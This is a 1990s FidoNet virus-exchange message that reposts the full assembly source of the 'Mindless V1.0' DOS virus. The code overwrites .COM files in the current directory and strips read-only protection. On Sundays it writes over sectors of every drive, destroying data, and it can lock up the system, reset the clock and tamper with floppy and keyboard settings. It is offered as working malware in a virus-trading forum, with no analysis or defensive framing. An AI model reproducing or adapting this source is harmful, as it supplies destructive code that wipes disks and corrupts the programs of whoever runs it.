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;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä
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; Msg : 28 of 54
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; From : MeteO 2:5030/136 Tue 09 Nov 93 09:13
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; To : - *.* - Fri 11 Nov 94 08:10
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; Subj : MINDLESS.DSM
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;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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;.RealName: Max Ivanov
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;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
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;* Kicked-up by MeteO (2:5030/136)
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;* Area : VIRUS (Int: ˆä®p¬ æ¨ï ® ¢¨pãá å)
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;* From : Mark Hapershaw, 2:283/718 (06 Nov 94 16:49)
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;* To : Hans Schotel
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;* Subj : MINDLESS.DSM
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;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
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;@RFC-Path:
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;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
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;18.n283!not-for-mail
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;@RFC-Return-Receipt-To: Mark.Hapershaw@f718.n283.z2.fidonet.org
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; The Mindless V1.0 Virus
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;
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; Type: *.COM Overwriter
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;
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; Programmer: Natas Kaupas
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; Notes:
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;
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; Read the texts that come with this for all of the necessary
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; info...if you've got any questions contact me on any YAM Dist. Sites.
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;
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; I Couldn't Have Made This Without:
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;
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; Soltan Griss -Kode4
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; Data Disruptor -encrypted part
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; Mr. Mike -typematic delay thing
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; And Everyone I Forgot!
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seg_a segment byte public
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assume cs:seg_a, ds:seg_a
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org 100h
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MINDL proc far
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start label near
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db 0E9h,00h,00h
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vstart equ $
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mov cx,09EBh ;debug killer
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mov ax,0FE05h ;
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jmp $-2 ;
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add ah,03Bh ;
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jmp $-10 ;
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push ds ;save old data segment
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sub ax,ax ;put zero in ax
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push ax ;save it on stack
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mov ah,2ah ;get date
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int 21h
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cmp al,0 ;is it a Sunday?
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jne rater ;no...don't format then
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doom:
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mov ax,3301h ;turn off ^C Check
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xor dl,dl ;0
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int 21h
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mov cx,lident ;this all has to do with the encrypted
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mov si,offset ident ;message
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mov di,offset dest ;
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doshit:
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mov al,ds:[si] ;unencrypt message
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mov temp,al ;
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xor byte ptr ds:[temp],01h ;
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mov al,temp ;
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mov [di],al ;
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inc si ;
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inc di ;
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loop doshit ;loop back and finish it
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doomb:
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cmp drive,27 ;format all drives
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jge boot ;done...then end (boot)
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pushf ;push flags on
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mov al,drive ;find drive
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mov cx,sectors ;find sectors
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mov dx,0 ;start at sector 0
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mov bx,offset dest ;write encrypted message
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int 26h ;format
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popf ;pop flags off
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inc drive ;go up to next drive
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jmp doomb ;repeat
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;this was originally going to boot...but for some reason it couldn't format in
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;time (before the boot), so it didn't format...oh well.
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boot:
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mov dl,2ch ;get system time
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int 21h
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and dl,0Fh ;AND 100th seconds by 0Fh
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or dl,dl ;0?
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jz locker ;yes..then lock up system
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mov cx,1980 ;date, 1980
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mov dx,0 ;mon/day, 0
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mov ah,2Bh ;set date
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int 21h
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mov cx,0 ;hrs/min, 0
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mov dx,0 ;sec, 0
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mov ah,2Dh ;set time
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int 21h
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mov ax,3301h ;turn ^C Check back on
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mov dl,1 ;1
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int 21h
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mov ax,4c00h ;end with error message 00
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int 21h
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locker:
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jmp $ ;lock up computer
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rater:
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mov al,dl
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mov dl,0c0h ;unkown ms, really grinds on mine though!
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jz valid ;it must be around 15ms
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;which is slow considering default is 9ms
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;and most floppies can actually go under 6ms
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valid:
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push ds ;Save the data segment
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mov bx,78h ;point to pointer for floppy drive tables
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mov ax,0
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mov ds,ax ;set to segment 0
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mov ax,[bx] ;get the pointer
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mov bx,ax ;into the bx register
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mov al,[bx] ;now get the present step rate
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and al,0fh ;remove the old step rate
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or al,dl ;put in the new step rate
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mov [bx],al ;and put it back where it goes
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mov ah,0 ;now call on the BIOS to
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int 13h ;reload the set floppy disk controller
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pop ds ;Reset the Data Segment
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go_on:
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push ds ;save present data segment
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mov bx,78h ;point to pointer for floppy drive tables
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mov ax,0
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mov ds,ax ;set to segment 0
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mov ax,[bx] ;get the pointer
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mov bx,ax ;into the bx register
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mov al,[bx] ;now get the step rate
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pop ds
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push ax ;save the step rate on the stack
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typematic:
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mov bl,repeat ;get the parameters
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mov bh,init ;
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mov ax,305h ;set typematic rate and delay
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int 16h ;
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xor al,al ;errorlevel = 0
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n_start: mov ah,4Eh ;Find first Com file in directory
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mov dx,offset filename ;use "*.com"
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int 21h
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Back:
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mov ah,43h ;get rid of read only protection
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mov al,0 ;
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mov dx,9eh ;
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int 21h ;
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mov ah,43h ;
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mov al,01 ;
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and cx,11111110b ;
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int 21h ;
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mov ax,3D01h ;Open file for writing
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mov dx,9Eh ;get file name from file data area
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int 21h
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mov bx,ax ;save handle in bx
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mov ah,57h ;get time date
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mov al,0
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int 21h
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push cx ;put in stack for later
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push dx
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mov dx,100h ;Start writing at 100h
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mov cx,(vend-vstart) ;write ?? bytes
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mov ah,40h ;Write Data into the file
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int 21h
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pop dx ;Restore old dates and times
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pop cx
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mov ah,57h
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mov al,01h
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int 21h
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mov ah,3Eh ;Close the file
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int 21h
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mov ah,4Fh ;Find Next file
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int 21h
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jnc Back
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done:
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int 20h ;Terminate Program
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V_Length equ vend-vstart
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drive db ?
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sectors dw 456
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filename db "*.c*",0
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ident db "ZXntofrudsr!@f`horu!Lb@ggdd\!,O@U@R!J@TQ@R",13,10
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db "Uid!Lhoemdrr!Whstr!w0/1!",13,10
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;encrypted message:
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;ident db "[Youngsters Against McAffee] -NATAS KAUPAS",13,10
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; db "The Mindless Virus v1.0 ",13,10
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lident equ $-ident
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dest db [lident-1/2] dup (?)
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temp db 0
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repeat equ 250
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init equ 0
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mindl endp
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vend equ $
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seg_a ends
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end start
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;-+- GoldED/386 2.50.B1016+
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; + Origin: ViRUS PaRk BbS >916< 387-6159 24HouRs (2:283/718)
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;=============================================================================
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;
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;Yoo-hooo-oo, -!
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;
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;
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; þ The MeÂeO
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;
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;/L Specify library search paths
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;
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;--- Aidstest Null: /Kill
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; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)
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